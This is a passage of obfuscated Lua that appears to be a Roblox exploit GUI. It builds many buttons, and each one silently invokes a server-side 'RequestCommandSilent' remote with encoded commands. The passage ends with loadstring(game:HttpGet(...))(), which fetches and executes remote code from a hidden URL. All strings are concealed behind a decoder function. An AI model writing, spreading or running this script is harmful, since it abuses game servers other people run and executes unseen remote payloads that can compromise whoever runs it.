local ReplicatedStorage = game:GetService(_D(2073))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2074)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2075))
end)
local UTSG = Instance.new(_D(2076))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.40, 1, 0.045, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2077)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2078))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2079)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2080))
end)
local UTSG = Instance.new(_D(2081))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.597, 1, 0.045, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2082)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2083))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2084)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2085))
end)
local UTSG = Instance.new(_D(2086))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.793, 1, 0.045, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2087)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2088))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2089)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2090))
end)
local UTSG = Instance.new(_D(2091))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.005, 1, 0.089, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2092)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2093))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2094)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2095))
end)
local UTSG = Instance.new(_D(2096))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.202, 1, 0.089, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2097)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2098))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2099)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2100))
end)
local UTSG = Instance.new(_D(2101))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.40, 1, 0.089, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2102)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2103))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2104)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2105))
end)
local UTSG = Instance.new(_D(2106))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.597, 1, 0.089, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2107)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2108))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2109)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2110))
end)
local UTSG = Instance.new(_D(2111))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.793, 1, 0.089, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2112)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2113))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2114)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2115))
end)
local UTSG = Instance.new(_D(2116))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.005, 1, 0.133, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(2117)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2118))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2119)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2120))
end)
local UTSG = Instance.new(_D(2121))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.202, 1, 0.133, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(2122)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2123))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2124)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2125))
end)
local UTSG = Instance.new(_D(2126))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.40, 1, 0.133, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(2127)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2128))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2129)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2130))
end)
local UTSG = Instance.new(_D(2131))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.597, 1, 0.133, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2132)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2133))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2134)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2135))
end)
local UTSG = Instance.new(_D(2136))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.793, 1, 0.133, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2137)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2138))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2139)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2140))
end)
local UTSG = Instance.new(_D(2141))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.005, 1, 0.177, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2142)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2143))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2144)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2145))
end)
local UTSG = Instance.new(_D(2146))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.202, 1, 0.177, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2147)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2148))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2149)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2150))
end)
local UTSG = Instance.new(_D(2151))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.40, 1, 0.177, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(2152)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2153))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2154)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2155))
end)
local UTSG = Instance.new(_D(2156))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.597, 1, 0.177, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2157)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2158))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2159)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2160))
end)
local UTSG = Instance.new(_D(2161))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.793, 1, 0.177, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2162)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2163))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2164)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2165))
end)
local UTSG = Instance.new(_D(2166))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.005, 1, 0.221, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2167)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2168))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2169)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2170))
end)
local UTSG = Instance.new(_D(2171))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.202, 1, 0.221, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(2172)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2173))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2174)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2175))
end)
local UTSG = Instance.new(_D(2176))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.40, 1, 0.221, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2177)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2178))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2179)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2180))
end)
local UTSG = Instance.new(_D(2181))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.597, 1, 0.221, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2182)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2183))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2184)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2185))
end)
local UTSG = Instance.new(_D(2186))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.793, 1, 0.221, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2187)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2188))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2189)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2190))
end)
local UTSG = Instance.new(_D(2191))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.005, 1, 0.265, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2192)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2193))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2194)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2195))
end)
local UTSG = Instance.new(_D(2196))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.202, 1, 0.265, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2197)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2198))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2199)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2200))
end)
local UTSG = Instance.new(_D(2201))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.40, 1, 0.265, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(2202)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2203))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2204)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2205))
end)
local UTSG1 = Instance.new(_D(2206))
UTSG1.Size = UDim2.new(0, 90, 0, 35)
UTSG1.Position = UDim2.new(0.40, 1, 0.265, 0)
UTSG1.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG1.BorderSizePixel = 2
UTSG1.BorderColor3 = Color3.new(1, 1, 1)
UTSG1.Font = Enum.Font.SourceSansSemibold
UTSG1.TextScaled = true
UTSG1.Text = _D(2207)
UTSG1.TextColor3 = Color3.new(1, 1, 1)
UTSG1.TextSize = 25
UTSG1.Parent = scrollingFramez
UTSG1.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2208))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2209)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2210))
end)
loadstring(game:HttpGet(_D(2211)))()
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